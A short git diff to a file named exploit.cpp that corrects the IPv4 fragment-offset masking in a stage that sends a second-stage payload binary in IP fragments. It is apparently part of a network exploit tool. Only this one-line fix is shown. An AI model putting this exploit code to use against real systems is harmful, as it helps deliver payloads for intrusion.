diff --git a/src/exploit.cpp b/src/exploit.cpp index 63e7cb9..669b255 100644 --- a/src/exploit.cpp +++ b/src/exploit.cpp @@ -1008,7 +1008,7 @@ int Exploit::stage4() { // last fragment if (offset + payloadSize >= this->stage2_bin.size()) { - ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & 0xFF1F; + ipLayer.getIPv4Header()->fragmentOffset = htobe16(offset / 8 + (offset != 0)) & htobe16(0x1FFF); payloadSize = this->stage2_bin.size() - offset; }